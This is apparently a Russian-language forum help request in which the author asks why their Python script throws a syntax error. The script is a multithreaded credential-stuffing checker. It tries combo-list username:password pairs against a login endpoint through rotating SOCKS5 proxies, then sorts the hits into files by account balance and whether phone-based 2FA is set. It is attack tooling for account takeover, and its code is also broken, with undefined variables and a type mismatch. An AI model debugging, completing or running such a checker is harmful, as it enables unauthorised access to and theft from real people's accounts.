************* Module cheker
file.py:70:9: E0001: invalid syntax (<unknown>, line 70) (syntax-error)
Никак не получается определить и исправить ошибку. В чем проблема?
код
from bs4 import BeautifulSoup
import requests
import random
import threading
from threading import Thread
file = open(input("Your combo list: ")).readlines()
proxylist = open(input("Your proxy list: ")).readlines()
threadcountinp = input("thread count: ")
thread_count = threadcountinp
proxy = random.choice(proxylist)
proxies = {
'http': 'socks5://{}'.format(proxy),
'https': 'socks5://{}'.format(proxy),
}
def thread():
while file:
to_check = file[0]
file.remove(to_check)
try:
check(to_check)
except Exception as e:
print("Ошибка:", e)
base_url = "https://site.com"
parse_url = "https://site2.com"
def check(account):
user = account.split(":")[0]
passw = account.split(":")[1]
try:
headers = {
"Accept-Language": "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7",
"Accept-Encoding": "gzip, deflate, br",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/86.0.4240.75 Safari/537.36",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary8iapwFLgbO1kO99c",
"DNT": "1",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1"
}
params = {
"_username":user,
"_password":passw,
"_csrf_token":' ',
"recaptcha_params":' '
}
send = requests.post(base_url, data=params, proxies=proxies, timeout=20).text
if "/user\"}" in send.text:
requests.get(parse_url, proxies=proxies, timeout=30)
balanceaprv = login.split('balanceApproved":')[1].split(',')[0]
phone = login.split('"phone":')[1].split(',')[0]
if balanceaprv > 500 and phone == null :
with open('valid.txt','a+') as inv:
inv.write(str(line) + '\n')
if not phone == null:
with open('2fa.txt','a+') as inv:
inv.write(str(line) + '\n')
if balanceaprv < 500:
with open('custom.txt','a+') as inv:
inv.write(str(line) + '\n')
elif "{\"message\":\"" in send.text:
with open('bads.txt','a+') as inv:
inv.write(str(line) + '\n')
else:
with open('errorslist.txt','a+') as inv:
inv.write(str(line) + '\n')
except:
with open('errorslistexcept.txt','a+') as inv:
inv.write(str(line) + '\n')
for _ in range(thread_count):
t2 = threading.Thread(target=thread)
t2.start()
file.close()
proxylist.close()